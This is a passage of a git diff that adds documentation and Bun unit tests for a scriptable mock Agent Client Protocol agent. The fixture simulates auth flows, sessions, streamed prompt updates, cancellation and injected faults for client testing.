it, the connection goes through the SDK's `agentProtocolRouter()`, as `dist/examples/dual-version-agent.js` does: the router picks the highest listed version that does not exceed the client's request, rewrites the initialize params for it and turns away clients below every listed version (`-32600`). v1 clients reach this mock; draft-v2 clients reach a small v2 agent (`v2: {info, capabilities, meta}`) with `session/new`, a `session/prompt` that answers `{messageId}` and then streams `user_message`, `state_update` running, one `agent_message` (the selected script's `text` steps joined) and `state_update` idle, and `session/cancel`. Auth and the other sections apply to the v1 side only. +- `agentInfo` defaults to `sentinel-acp-mock`; `null` sends `agentInfo: null`. +- `agentCapabilities` replaces the defaults as a whole (`DEFAULT_AGENT_CAPABILITIES`). +- `authMethods` are passed through untouched. The stable 1.7 schema knows `agent` (untyped or `type:"agent"`) and `terminal`; `env_var` (`vars`, `link`) is the registry shape agents still send. +- `meta` becomes the response `_meta`. `echoMeta` adds the client's raw `protocolVersion`, `clientInfo`, `clientCapabilities` and `_meta` under `_meta["sentinel.mock/request"]`, before the SDK strips unknown keys. +- `response` answers with exactly that object instead (any legacy shape). + +## Auth + +```json +{ + "auth": { + "requireAuth": true, + "acceptMethodIds": ["cursor_login"], + "delayMs": 0, + "browserLogin": { + "methodIds": ["oauth-personal"], + "stdoutLines": [ + "Open the following link to authenticate the ACP server: https://accounts.google.com/o/oauth2/v2/auth?redirect_uri={{callbackUrlEncoded}}&state=s" + ], + "callback": true, + "timeoutMs": 60000 + } + } +} +``` + +With `requireAuth`, `session/new|load|resume|fork` fail with the ACP auth-required error (`-32000`, `RequestError.authRequired`, optional `message` and `errorData`) until `authenticate` succeeds. `authenticate` with an id outside `acceptMethodIds` fails with `rejectError` (default `-32602`). `logout` drops the auth again. `delayMs` delays the `authenticate` response. + +`browserLogin` is the Antigravity sign-in: for the listed methods (default all), `authenticate` starts a loopback HTTP listener on `127.0.0.1` and a free port, writes `stdoutLines` raw to stdout (`{{callbackUrl}}` is `http://127.0.0.1:/`, `{{callbackUrlEncoded}}` the same URL-encoded, `{{methodId}}` the method), and answers only when the OAuth redirect arrives: a `GET` with `code` succeeds, one with `error` fails with `-32000`, and with `timeoutMs` a missing callback fails too. Other paths get 404. `callback: false` prints the lines and answers at once. + +## Sessions + +```json +{ + "session": { + "ids": ["first", "second"], + "modes": { + "currentModeId": "agent", + "availableModes": [ + { "id": "agent", "name": "Agent" }, + { "id": "plan", "name": "Plan" } + ] + }, + "configOptions": [ + { + "type": "select", + "id": "model", + "name": "Model", + "category": "model", + "currentValue": "fast", + "options": [{ "value": "fast", "name": "fast" }] + }, + { + "type": "select", + "id": "effort", + "name": "Effort", + "category": "thought_level", + "currentValue": "medium", + "options": [] + }, + { + "type": "select", + "id": "mode", + "name": "Mode", + "category": "mode", + "currentValue": "agent", + "options": [] + } + ], + "models": { + "currentModelId": "grok-build", + "availableModels": [{ "modelId": "grok-build", "name": "Grok Build" }] + }, + "afterNew": [ + { "sessionUpdate": "available_commands_update", "availableCommands": [] } + ], + "load": { + "replay": [ + { + "sessionUpdate": "user_message_chunk", + "content": { "type": "text", "text": "earlier" } + } + ], + "knownSessionIds": ["persisted"] + }, + "resume": { "knownSessionIds": ["persisted"] }, + "emitCurrentModeUpdate": true, + "emitConfigOptionUpdate": true, + "configOptionsAfterSet": { "model=gpt-5.4": [] } + } +} +``` + +- `session/new` and `session/fork` hand out `ids` in order, then `mock-session-`. Responses carry `modes`, `configOptions`, the legacy unstable `models` state and `meta` (as `_meta`). +- `afterNew` updates are sent right after the `session/new` response has been written (the mock taps its own outgoing frames, so they can never overtake it). +- `session/load` replays `load.replay` through `session/update` **before** it responds (`replayDelayMs` between updates). `knownSessionIds` makes other ids fail with `unknownSessionError` (default `-32002`); `error` fails every load. `resume` works the same without a replay. +- `session/list` returns `list` or the sessions this process created; `session/close` cancels a running turn; `session/delete` forgets the session. +- `session/set_mode` validates the mode id; `session/set_config_option` validates select values (grouped options are flattened) and returns the new options. `configOptionsAfterSet["="]` replaces the whole list (Cursor's per-model effort list). The `emit*` flags send the matching update after the response. +- `session/set_model` (unstable, not in the 1.7 method tables) is registered as an extension method and validates against `models`. + +Strings in replay and `afterNew` updates can use `{{sessionId}}` and `{{cwd}}`. + +## Prompt scripts + +```json +{ + "prompts": [ + { + "match": "plan", + "steps": [ + { "type": "extRequest", "method": "cursor/create_plan", "params": {} } + ] + }, + { + "steps": [{ "type": "text", "text": "first turn" }], + "stopReason": "end_turn" + }, + { + "steps": [{ "type": "text", "text": "later turns" }], + "stopReason": "max_tokens", + "usage": { "totalTokens": 30, "inputTokens": 20, "outputTokens": 10 } + } + ] +} +``` + +A prompt whose text contains a script's `match` runs that script. Other prompts take the unmatched scripts in order, repeating the last one. A script ends with `stopReason` (default `end_turn`; `end_turn`, `max_tokens`, `max_turn_requests`, `refusal`, `cancelled`; `null` answers `{}` without one), optional `usage` and `meta` (`_meta`), or fails with `error` after its steps. + +`afterResponse` is a step list run once the prompt response has been written: agent-initiated traffic after the turn, such as Grok's background-task wake turns. `session/cancel` does not stop it. + +Strings in steps (and in `meta` and `afterResponse`) can use `{{sessionId}}`, `{{cwd}}`, `{{promptText}}`, `{{promptId}}` (`_meta.promptId`, else `_meta.requestId` of the prompt), `{{requestId}}` (the other way round) and `{{promptMeta}}`. A string that is exactly one placeholder takes the raw value. + +### Steps + +Every step except the control steps can carry `meta`, which becomes `_meta` on the update or request. Update steps (`text`, `thought`, `image`, `toolCall`, `toolCallUpdate`, `plan`, `update`) can also carry `notificationMeta`, which becomes `_meta` on the `session/update` params, next to `sessionId` and `update`. Grok puts `promptId` there (`task-completed-*` on background wake turns), so engines must read it from `params._meta`, not `update._meta`. + +| Step | Wire effect | +| ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | -------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | +| `{"type":"text","text":"…","messageId?":"m1"}` | `agent_message_chunk` with text content | +| `{"type":"thought","text":"…"}` | `agent_thought_chunk` | +| `{"type":"image","data":"","mimeType":"image/png","uri?":"…"}` | `agent_message_chunk` with image content | +| `{"type":"toolCall","toolCallId":"c1","title":"Edit a.ts","kind":"edit","status":"pending","rawInput":{},"locations":[{"path":"/a.ts","line":3}],"content":[{"type":"diff","path":"/a.ts","oldText":"a","newText":"b"}]}` | `tool_call`; `kind` is `read`, `edit`, `delete`, `move`, `search`, `execute`, `think`, `fetch`, `switch_mode` or `other` | +| `{"type":"toolCallUpdate","toolCallId":"c1","title":"Edited"}` | `tool_call_update` with **only** the fields given, so updates can omit `status` | +| `{"type":"plan","entries":[{"content":"Read","priority":"high","status":"completed"}]}` | `plan` | +| `{"type":"update","update":{…},"sessionId?":"other"}` | any raw `session/update` payload, including `available_commands_update`, `current_mode_update`, `config_option_update`, `usage_update`, `session_info_update`, `plan_update`, `notice` and kinds outside the 1.7 union (Grok `subagent_finished`); `sessionId` targets another session (Devin subagents) | +| `{"type":"requestPermission","toolCall":{…},"options?":[…],"branches":{"allow-once":[…],"cancelled":[…],"*":[…]}}` | `session/request_permission`, then the branch keyed by the selected `optionId` (or `cancelled`). Default options: `allow-once`, `allow-always`, `reject-once`, `reject-always` (one per kind); add custom ids freely | +| `{"type":"extRequest","method":"_x.ai/ask_user_question","params":{},"branches":{"accepted":[…],"error":[…]},"echo":true}` | a vendor request, method name sent verbatim (SDK 1.7 adds no `_` prefix); branch on `result.outcome`, else `ok`, or `error` when the client fails it (unregistered methods get `-32601`). `echo` writes the result as a text chunk | +| `{"type":"extNotification","method":"_x.ai/session/prompt_complete","params":{}}` | a vendor notification (`cursor/update_todos`, `_session/retrying`, …) | +| `{"type":"clientFs","op":"read","path":"/a.md","line":2,"limit":1,"echo":true}` | `fs/read_text_file`; `echo` reports the result or error | +| `{"type":"clientFs","op":"write","path":"/a.md","content":"…"}` | `fs/write_text_file` | +| `{"type":"clientTerminal","command":"npm","args":["test"],"env":[{"name":"CI","value":"1"}],"cwd":"{{cwd}}","outputByteLimit":1024,"toolCallId":"c2","kill":false,"noWait":false,"release":true,"echo":true}` | `terminal/create`, an optional `tool_call_update` with terminal content, optional `terminal/kill`, `terminal/wait_for_exit`, `terminal/output`, `terminal/release` | +| `{"type":"elicitation","mode":"form","message":"…","requestedSchema":{…},"branches":{"accept":[…],"decline":[…]}}` | `elicitation/create` (form); branch on the response `action` | +| `{"type":"elicitation","mode":"url","message":"Sign in","url":"https://…","elicitationId":"e1","complete":true}` | `elicitation/create` (url), then `elicitation/complete` when `complete` | +| `{"type":"delay","ms":500}` | waits; a cancel interrupts it | +| `{"type":"stdout","lines":["not json"]}` | raw lines on stdout between frames | +| `{"type":"stderr","text":"…","repeat":1000}` | stderr text | +| `{"type":"exit","code":3,"stderr":"panic"}` / `{"type":"exit","signal":"SIGKILL"}` | crash mid-turn (stdout is flushed first) | +| `{"type":"hang","ignoreCancel":false}` | never answer; `session/cancel` still ends the turn unless `ignoreCancel` | +| `{"type":"waitForCancel"}` | block until `session/cancel` | +| `{"type":"stop","stopReason":"refusal"}` | end the turn now | +| `{"type":"fail","error":{"code":-32003,"message":"Rate limited","data":{}}}` | fail the prompt request now | + +Branches are step lists keyed by outcome, with `"*"` as the fallback; a branch can itself end the turn with `stop`. + +## Cancel + +`session/cancel` is a notification. It aborts the turn that was running when it arrived (a cancel that raced ahead of the prompt handler still counts) and never leaks into the next prompt. The prompt then answers `stopReason: "cancelled"`. + +```json +{ + "cancel": { + "stopReason": "end_turn", + "updates": [ + { + "sessionUpdate": "tool_call_update", + "toolCallId": "c1", + "status": "failed" + } + ], + "exitCode": 1 + } +} +``` + +`stopReason` overrides the answer (`end_turn` reproduces the cancel/complete race), `updates` are sent after the cancel arrived and before the response, and `exitCode` exits instead of answering. + +## Faults + +```json +{ + "faults": { + "startupStdout": ["not json: a banner before the first frame"], + "startupStderr": "warming up", + "stderrFloodBytes": 262144, + "splitFramesBytes": 7, + "exitAfterMs": 50, + "exitCode": 7, + "exitOnStdinClose": true, + "hangMethods": ["session/new"], + "methodDelays": { "initialize": 3000 }, + "methodErrors": { "session/list": { "code": -32603, "message": "boom" } } + } +} +``` + +Non-JSON stdout lines exercise the client's stdout filter. Without one, the SDK's `ndJsonStream` answers each bad line by writing a `-32700` parse-error response back to the agent; the mock logs those, so tests can prove it. `splitFramesBytes` writes every frame in small chunks. The process exits 0 when stdin closes unless `exitOnStdinClose` is false. + +## Log + +Each line of `SENTINEL_ACP_MOCK_LOG` is one `AcpMockLogEntry`, recorded from the raw frame before the SDK parses it (so unknown keys survive): + +```json +{"ts":1759840000000,"kind":"request","id":2,"method":"session/prompt","params":{"sessionId":"mock-session-1","prompt":[…],"_meta":{"promptId":"p1"}}} +{"ts":1759840000001,"kind":"notification","method":"session/cancel","params":{"sessionId":"mock-session-1"}} +{"ts":1759840000002,"kind":"response","id":0,"result":{"outcome":{"outcome":"selected","optionId":"allow-once"}}} +{"ts":1759840000003,"kind":"lifecycle","event":"exit-step","detail":{"code":3}} +``` + +`response` entries are the client's answers to the mock's own requests (and the SDK's parse-error frames). diff --git a/scripts/fixtures/agents/acp/mock-agent.raw.test.ts b/scripts/fixtures/agents/acp/mock-agent.raw.test.ts new file mode 100644 index 00000000..1f671ae9 --- /dev/null +++ b/scripts/fixtures/agents/acp/mock-agent.raw.test.ts @@ -0,0 +1,253 @@ +// Byte-level checks of mock-agent.ts: what actually crosses the pipe. +import { afterEach, describe, expect, it } from "bun:test"; + +import { + killAllFixtures, + spawnFixture, + splitLfLines, + waitFor, + withTimeout, +} from "../shared/test-support"; +import { ACP_MOCK_SCENARIO_ENV, type AcpMockScenario } from "./scenario"; +import { + MOCK_AGENT_PATH, + startAcpHarness, + type AcpHarness, +} from "./test-harness"; + +const TEST_TIMEOUT = 20_000; +const harnesses: AcpHarness[] = []; + +afterEach(async () => { + await Promise.all(harnesses.splice(0).map((harness) => harness.dispose())); + await killAllFixtures(); +}); + +function startRaw(scenario: AcpMockScenario) { + const fixture = spawnFixture(MOCK_AGENT_PATH, { + env: { [ACP_MOCK_SCENARIO_ENV]: JSON.stringify(scenario) }, + }); + const send = (frame: object) => + fixture.child.stdin.write(`${JSON.stringify(frame)}\n`); + const lines = () => splitLfLines(fixture.stdoutText()); + const frames = () => + lines().flatMap((line) => { + try { + return [JSON.parse(line) as Record]; + } catch { + return []; + } + }); + const responseTo = (id: number) => + waitFor( + () => frames().find((frame) => frame.id === id && !("method" in frame)), + `response ${id}`, + ); + return { fixture, send, lines, frames, responseTo }; +} + +const initialize = { + jsonrpc: "2.0", + id: 0, + method: "initialize", + params: { protocolVersion: 1, clientCapabilities: {} }, +}; +const newSession = { + jsonrpc: "2.0", + id: 1, + method: "session/new", + params: { cwd: "/work", mcpServers: [] }, +}; + +describe("ACP mock agent on the wire", () => { + it( + "writes noise lines verbatim between NDJSON frames", + async () => { + const banner = + "Open the following link to authenticate the ACP server: https://accounts.google.com/o/oauth2/v2/auth"; + const raw = startRaw({ + faults: { startupStdout: [banner, "{not json"] }, + prompts: [ + { + steps: [ + { type: "text", text: "before" }, + { type: "stdout", lines: ["mid-turn garbage"] }, + { type: "text", text: "after" }, + ], + }, + ], + }); + raw.send(initialize); + raw.send(newSession); + await raw.responseTo(1); + raw.send({ + jsonrpc: "2.0", + id: 2, + method: "session/prompt", + params: { + sessionId: "mock-session-1", + prompt: [{ type: "text", text: "hi" }], + }, + }); + await raw.responseTo(2); + + const lines = raw.lines(); + expect(lines.slice(0, 2)).toEqual([banner, "{not json"]); + expect(lines[2]).toStartWith( + '{"jsonrpc":"2.0","id":0,"result":{"protocolVersion":1,', + ); + expect(lines.slice(3)).toEqual([ + '{"jsonrpc":"2.0","id":1,"result":{"sessionId":"mock-session-1"}}', + '{"jsonrpc":"2.0","method":"session/update","params":{"sessionId":"mock-session-1","update":{"sessionUpdate":"agent_message_chunk","content":{"type":"text","text":"before"}}}}', + "mid-turn garbage", + '{"jsonrpc":"2.0","method":"session/update","params":{"sessionId":"mock-session-1","update":{"sessionUpdate":"agent_message_chunk","content":{"type":"text","text":"after"}}}}', + '{"jsonrpc":"2.0","id":2,"result":{"stopReason":"end_turn"}}', + ]); + }, + TEST_TIMEOUT, + ); + + it( + "sends the load replay before the load response, and splits frames when asked", + async () => { + const raw = startRaw({ + faults: { splitFramesBytes: 5 }, + session: { + load: { + replay: [ + { + sessionUpdate: "user_message_chunk", + content: { type: "text", text: "q" }, + }, + { + sessionUpdate: "agent_message_chunk", + content: { type: "text", text: "a" }, + }, + ], + }, + }, + }); + raw.send(initialize); + raw.send({ + jsonrpc: "2.0", + id: 1, + method: "session/load", + params: { sessionId: "old", cwd: "/work", mcpServers: [] }, + }); + await raw.responseTo(1); + const methods = raw + .frames() + .map((frame) => frame.method ?? `response:${String(frame.id)}`); + expect(methods).toEqual([ + "response:0", + "session/update", + "session/update", + "response:1", + ]); + }, + TEST_TIMEOUT, + ); + + it( + "takes session/cancel as a notification without an id", + async () => { + const raw = startRaw({ + prompts: [{ steps: [{ type: "waitForCancel" }] }], + }); + raw.send(initialize); + raw.send(newSession); + await raw.responseTo(1); + raw.send({ + jsonrpc: "2.0", + id: 2, + method: "session/prompt", + params: { + sessionId: "mock-session-1", + prompt: [{ type: "text", text: "go" }], + }, + }); + raw.send({ + jsonrpc: "2.0", + method: "session/cancel", + params: { sessionId: "mock-session-1" }, + }); + expect(await raw.responseTo(2)).toEqual({ + jsonrpc: "2.0", + id: 2, + result: { stopReason: "cancelled" }, + }); + // The notification got no response of its own. + expect(raw.frames().filter((frame) => !("method" in frame))).toHaveLength( + 3, + ); + }, + TEST_TIMEOUT, + ); + + it( + "emits update kinds outside the 1.7 union, which the SDK client silently drops", + async () => { + let stdout = ""; + const harness = startAcpHarness( + { + prompts: [ + { + steps: [ + { + type: "update", + update: { + sessionUpdate: "subagent_finished", + child_session_id: "child-1", + status: "completed", + output: "done", + }, + }, + { type: "text", text: "visible" }, + ], + }, + ], + }, + {}, + { stdoutTap: (chunk) => (stdout += chunk) }, + ); + harnesses.push(harness); + await harness.initialize(); + const { sessionId } = await harness.newSession(); + const errors: unknown[][] = []; + const originalError = console.error; + console.error = (...args: unknown[]) => errors.push(args); + try { + await harness.prompt(sessionId, "go"); + await harness.settle(); + } finally { + console.error = originalError; + } + expect(errors.map((args) => args[0])).toContain( + "Error handling notification", + ); + + expect(stdout).toContain('"sessionUpdate":"subagent_finished"'); + // Trap 1: the SDK's session/update router fails to parse the unknown + // kind, so the client handler only ever sees the text chunk. + expect(harness.updates.map((n) => n.update.sessionUpdate)).toEqual([ + "agent_message_chunk", + ]); + }, + TEST_TIMEOUT, + ); + + it( + "keeps running after stdin closes when exitOnStdinClose is false", + async () => { + const raw = startRaw({ faults: { exitOnStdinClose: false } }); + raw.send(initialize); + await raw.responseTo(0); + raw.fixture.child.stdin.end(); + const exited = await withTimeout(raw.fixture.exited, 300, "exit").catch( + (error: unknown) => error, + ); + expect((exited as Error).name).toBe("FixtureTimeoutError"); + }, + TEST_TIMEOUT, + ); +}); diff --git a/scripts/fixtures/agents/acp/mock-agent.test.ts b/scripts/fixtures/agents/acp/mock-agent.test.ts new file mode 100644 index 00000000..4e13a37f --- /dev/null +++ b/scripts/fixtures/agents/acp/mock-agent.test.ts @@ -0,0 +1,1751 @@ +import { afterEach, describe, expect, it } from "bun:test"; + +import * as acp from "@agentclientprotocol/sdk"; +import * as acpV2 from "@agentclientprotocol/sdk/experimental/v2"; + +import { + killAllFixtures, + nodeReadableToWeb, + nodeWritableToWeb, + spawnFixture, + waitFor, + withTimeout, +} from "../shared/test-support"; +import { + ACP_MOCK_SCENARIO_ENV, + STANDARD_PERMISSION_OPTIONS, + selectConfigOption, + type AcpMockScenario, +} from "./scenario"; +import { + MOCK_AGENT_PATH, + startAcpHarness, + type AcpClientHandlers, + type AcpHarness, +} from "./test-harness"; + +const TEST_TIMEOUT = 20_000; +const harnesses: AcpHarness[] = []; + +function start(scenario: AcpMockScenario, handlers?: AcpClientHandlers) { + const harness = startAcpHarness(scenario, handlers); + harnesses.push(harness); + return harness; +} + +afterEach(async () => { + await Promise.all(harnesses.splice(0).map((harness) => harness.dispose())); + await killAllFixtures(); +}); + +const updateKinds = (harness: AcpHarness) => + harness.updates.map((notification) => notification.update.sessionUpdate); + +describe("ACP mock agent: initialize", () => { + it( + "answers with SDK defaults and echoes the client's raw params", + async () => { + const harness = start({ + initialize: { echoMeta: true, meta: { vendor: "x" } }, + }); + const response = await harness.initialize({ + _meta: { clientType: "extension" }, + }); + + expect(response.protocolVersion).toBe(acp.PROTOCOL_VERSION); + expect(response.agentInfo?.name).toBe("sentinel-acp-mock"); + expect(response.agentCapabilities?.loadSession).toBe(true); + expect(response.agentCapabilities?.sessionCapabilities?.resume).toEqual( + {}, + ); + expect(response.agentCapabilities?.auth?.logout).toEqual({}); + expect(response._meta?.vendor).toBe("x"); + expect(response._meta?.["sentinel.mock/request"]).toMatchObject({ + protocolVersion: 1, + clientInfo: { name: "sentinel-fixture-test" }, + clientCapabilities: { terminal: true }, + _meta: { clientType: "extension" }, + }); + + const [entry] = harness.log(); + expect(entry).toMatchObject({ + kind: "request", + id: 0, + method: "initialize", + params: { _meta: { clientType: "extension" } }, + }); + }, + TEST_TIMEOUT, + ); + + it( + "advertises agent, terminal and env_var auth methods and custom capabilities", + async () => { + const authMethods = [ + { + id: "cursor_login", + name: "Cursor login", + description: "Browser login", + }, + { + id: "terminal-login", + name: "Terminal login", + type: "terminal" as const, + args: ["login"], + env: { LOGIN_MODE: "tty" }, + }, + { + id: "api-key", + name: "API key", + type: "env_var" as const, + vars: [{ name: "MOCK_API_KEY", label: "API key" }], + link: "https://example.com/keys", + }, + ]; + const harness = start({ + initialize: { + protocolVersion: 1, + agentInfo: { name: "grok", version: "1.0.50" }, + agentCapabilities: { + loadSession: false, + promptCapabilities: { + image: false, + audio: true, + embeddedContext: false, + }, + mcpCapabilities: { http: false, sse: true }, + sessionCapabilities: { resume: {} }, + }, + authMethods, + }, + }); + const response = await harness.initialize(); + + expect(response.authMethods as unknown).toEqual(authMethods); + expect(response.agentInfo).toEqual({ name: "grok", version: "1.0.50" }); + expect(response.agentCapabilities).toEqual({ + loadSession: false, + promptCapabilities: { + image: false, + audio: true, + embeddedContext: false, + }, + mcpCapabilities: { http: false, sse: true }, + sessionCapabilities: { resume: {} }, + }); + }, + TEST_TIMEOUT, + ); + + it( + "can answer with a verbatim legacy response (Antigravity's v2 shape)", + async () => { + const legacy = { + protocolVersion: 2, + agentInfo: { name: "antigravity-acp", version: "1.3.0" }, + agentCapabilities: { + loadSession: true, + sessionCapabilities: { resume: {} }, + }, + authMethods: [{ id: "oauth-personal", name: "Google" }], + }; + const harness = start({ initialize: { response: legacy } }); + expect(await harness.initialize()).toEqual( + legacy as acp.InitializeResponse, + ); + }, + TEST_TIMEOUT, + ); +}); + +describe("ACP mock agent: auth and sessions", () => { + it( + "signs in through the browser: stdout URL, loopback callback, error and timeout", + async () => { + let stdout = ""; + const harness = startAcpHarness( + { + auth: { + requireAuth: true, + browserLogin: { + methodIds: ["browser"], + stdoutLines: [ + "Open {{callbackUrl}} for {{methodId}} (redirect_uri={{callbackUrlEncoded}})", + ], + }, + }, + }, + {}, + { stdoutTap: (chunk) => (stdout += chunk) }, + ); + harnesses.push(harness); + await harness.initialize(); + const lineFor = (attempt: number) => + waitFor( + () => + [ + ...stdout.matchAll( + /^Open (\S+) for browser \(redirect_uri=(\S+)\)$/gm, + ), + ][attempt], + `sign-in line ${attempt}`, + ); + + // A denied consent fails authenticate. + const denied = harness.agent + .request("authenticate", { methodId: "browser" }) + .catch((error: unknown) => error); + const [, first, encoded] = await lineFor(0); + expect(decodeURIComponent(encoded ?? "")).toBe(first); + expect((await fetch(`${first}favicon.ico`)).status).toBe(404); + expect((await fetch(`${first}?error=access_denied`)).status).toBe(200); + const error = (await denied) as acp.RequestError; + expect(error.code).toBe(-32000); + expect(error.message).toContain("access_denied"); + expect( + ( + (await harness + .newSession() + .catch((e: unknown) => e)) as acp.RequestError + ).code, + ).toBe(-32000); + + // A code completes it; the listener is gone afterwards. + const accepted = harness.agent.request("authenticate", { + methodId: "browser", + }); + const [, second] = await lineFor(1); + expect(second).not.toBe(first); + expect((await fetch(`${second}?code=abc&state=s`)).status).toBe(200); + expect(await withTimeout(accepted, 5_000, "authenticate")).toEqual({}); + expect(await fetch(`${second}?code=again`).catch(() => "closed")).toBe( + "closed", + ); + await harness.newSession(); + + // Other methods skip the browser. + await harness.agent.request("authenticate", { methodId: "api-key" }); + expect([...stdout.matchAll(/^Open /gm)]).toHaveLength(2); + + // Without a callback the lines print and authenticate answers at once; + // with timeoutMs a missing callback fails it. + let printed = ""; + const quick = startAcpHarness( + { + auth: { + browserLogin: { + stdoutLines: ["visit https://example.com/device"], + callback: false, + }, + }, + }, + {}, + { stdoutTap: (chunk) => (printed += chunk) }, + ); + harnesses.push(quick); + await quick.initialize(); + expect( + await quick.agent.request("authenticate", { methodId: "device" }), + ).toEqual({}); + expect(printed).toContain("visit https://example.com/device\n"); + + const slow = start({ + auth: { browserLogin: { timeoutMs: 100 } }, + }); + await slow.initialize(); + const timedOut = (await slow.agent + .request("authenticate", { methodId: "any" }) + .catch((e: unknown) => e)) as acp.RequestError; + expect(timedOut.code).toBe(-32000); + expect(timedOut.message).toContain("timed out"); + }, + TEST_TIMEOUT, + ); + + it( + "rejects session/new with -32000 until authenticate succeeds", + async () => { + const harness = start({ + initialize: { + authMethods: [{ id: "cursor_login", name: "Cursor login" }], + }, + auth: { requireAuth: true, acceptMethodIds: ["cursor_login"] }, + session: { ids: ["after-auth"] }, + }); + await harness.initialize(); + + const denied = await harness + .newSession() + .catch((error: unknown) => error); + expect(denied).toBeInstanceOf(acp.RequestError); + expect((denied as acp.RequestError).code).toBe(-32000); + + const wrongMethod = await harness.agent + .request("authenticate", { methodId: "nope" }) + .catch((error: unknown) => error); + expect((wrongMethod as acp.RequestError).code).toBe(-32602); + + await harness.agent.request("authenticate", { methodId: "cursor_login" }); + const session = await harness.newSession(); + expect(session.sessionId).toBe("after-auth"); + + // logout drops the auth again + await harness.agent.request("logout", {}); + const again = await harness.newSession().catch((error: unknown) => error); + expect((again as acp.RequestError).code).toBe(-32000); + }, + TEST_TIMEOUT, + ); + + it( + "returns configured ids, modes, config options and legacy models", + async () => { + const configOptions = [ + selectConfigOption({ + id: "model", + name: "Model", + category: "model", + currentValue: "fast", + values: ["fast", { value: "smart", name: "Smart" }], + }), + selectConfigOption({ + id: "effort", + name: "Effort", + category: "thought_level", + currentValue: "medium", + values: ["low", "medium", "extra-high"], + }), + selectConfigOption({ + id: "mode", + name: "Mode", + category: "mode", + currentValue: "agent", + values: ["agent", "plan"], + }), + ]; + const modes = { + currentModeId: "agent", + availableModes: [ + { id: "agent", name: "Agent" }, + { id: "plan", name: "Plan" }, + ], + }; + const models = { + currentModelId: "grok-build", + availableModels: [ + { modelId: "grok-build", name: "Grok Build" }, + { + modelId: "grok-4", + name: "Grok 4", + _meta: { reasoningEfforts: ["low", "high"] }, + }, + ], + }; + const harness = start({ + session: { + ids: ["first", "second"], + modes, + configOptions, + models, + emitCurrentModeUpdate: true, + emitConfigOptionUpdate: true, + afterNew: [ + { + sessionUpdate: "available_commands_update", + availableCommands: [ + { name: "review", description: "Review {{cwd}}" }, + ], + }, + ], + }, + }); + await harness.initialize(); + + const first = await harness.newSession("/work/a"); + expect(first.sessionId).toBe("first"); + expect(first.modes).toEqual(modes); + expect(first.configOptions).toEqual(configOptions); + expect((first as unknown as { models: unknown }).models).toEqual(models); + expect((await harness.newSession()).sessionId).toBe("second"); + expect((await harness.newSession()).sessionId).toBe("mock-session-3"); + + await waitFor( + () => harness.updates.find((n) => n.sessionId === "first"), + "available_commands_update", + ); + const commands = harness.updates.find( + (n) => n.sessionId === "first", + )?.update; + expect(commands).toEqual({ + sessionUpdate: "available_commands_update", + availableCommands: [{ name: "review", description: "Review /work/a" }], + }); + + const set = await harness.agent.request("session/set_config_option", { + sessionId: "first", + configId: "effort", + value: "extra-high", + }); + expect( + set.configOptions.find((option) => option.id === "effort") + ?.currentValue, + ).toBe("extra-high"); + const invalid = await harness.agent + .request("session/set_config_option", { + sessionId: "first", + configId: "model", + value: "missing", + }) + .catch((error: unknown) => error); + expect((invalid as acp.RequestError).code).toBe(-32602); + + await harness.agent.request("session/set_mode", { + sessionId: "first", + modeId: "plan", + }); + await harness.agent.request("session/set_model", { + sessionId: "first", + modelId: "grok-4", + _meta: { reasoningEffort: "high" }, + }); + await waitFor( + () => updateKinds(harness).includes("current_mode_update"), + "current_mode_update", + ); + await waitFor( + () => updateKinds(harness).includes("config_option_update"), + "config_option_update", + ); + const setModel = harness + .log() + .find( + (entry) => "method" in entry && entry.method === "session/set_model", + ); + expect(setModel).toMatchObject({ + kind: "request", + params: { modelId: "grok-4", _meta: { reasoningEffort: "high" } }, + }); + }, + TEST_TIMEOUT, + ); + + it( + "replays history through session/update before answering session/load", + async () => { + const harness = start({ + session: { + modes: { + currentModeId: "default", + availableModes: [{ id: "default", name: "Default" }], + }, + load: { + knownSessionIds: ["persisted"], + replay: [ + { + sessionUpdate: "user_message_chunk", + content: { type: "text", text: "earlier question" }, + }, + { + sessionUpdate: "agent_message_chunk", + content: { type: "text", text: "earlier answer in {{cwd}}" }, + }, + ], + }, + }, + }); + await harness.initialize(); + + const response = await harness.agent.request("session/load", { + sessionId: "persisted", + cwd: "/work/repo", + mcpServers: [], + }); + // The replay precedes the response on the wire (see the raw-bytes test). + await harness.settle(); + expect( + harness.updates.map((n) => [n.sessionId, n.update.sessionUpdate]), + ).toEqual([ + ["persisted", "user_message_chunk"], + ["persisted", "agent_message_chunk"], + ]); + expect(harness.updates[1]?.update).toMatchObject({ + content: { text: "earlier answer in /work/repo" }, + }); + expect(response.modes?.currentModeId).toBe("default"); + + const unknown = await harness.agent + .request("session/load", { + sessionId: "gone", + cwd: "/work/repo", + mcpServers: [], + }) + .catch((error: unknown) => error); + expect((unknown as acp.RequestError).code).toBe(-32002); + + const resumed = await harness.agent.request("session/resume", { + sessionId: "persisted", + cwd: "/work/repo", + }); + expect(resumed.modes?.currentModeId).toBe("default"); + expect(harness.updates).toHaveLength(2); + }, + TEST_TIMEOUT, + ); +}); + +describe("ACP mock agent: prompt scripts", () => { + it( + "streams every update kind, including partial tool updates, then the stop reason", + async () => { + const harness = start({ + prompts: [ + { + steps: [ + { type: "thought", text: "Thinking about it", messageId: "m-1" }, + { type: "text", text: "Reading files." }, + { type: "image", data: "aGVsbG8=", mimeType: "image/png" }, + { + type: "toolCall", + toolCallId: "call-edit", + title: "Edit src/a.ts", + kind: "edit", + status: "pending", + rawInput: { path: "/work/src/a.ts" }, + locations: [{ path: "/work/src/a.ts", line: 3 }], + content: [ + { + type: "diff", + path: "/work/src/a.ts", + oldText: "a", + newText: "b", + }, + ], + }, + { + type: "toolCallUpdate", + toolCallId: "call-edit", + status: "in_progress", + }, + { + type: "toolCallUpdate", + toolCallId: "call-edit", + title: "Edited src/a.ts", + }, + { + type: "toolCallUpdate", + toolCallId: "call-edit", + status: "completed", + rawOutput: { ok: true }, + }, + { + type: "toolCall", + toolCallId: "call-search", + title: "Search", + kind: "search", + }, + { + type: "plan", + entries: [ + { content: "Read", priority: "high", status: "completed" }, + { + content: "Edit", + priority: "medium", + status: "in_progress", + }, + ], + }, + { + type: "update", + update: { + sessionUpdate: "available_commands_update", + availableCommands: [ + { + name: "web", + description: "Search the web", + input: { hint: "query" }, + }, + ], + }, + }, + { + type: "update", + update: { + sessionUpdate: "current_mode_update", + currentModeId: "plan", + }, + }, + { + type: "update", + update: { + sessionUpdate: "config_option_update", + configOptions: [ + selectConfigOption({ + id: "model", 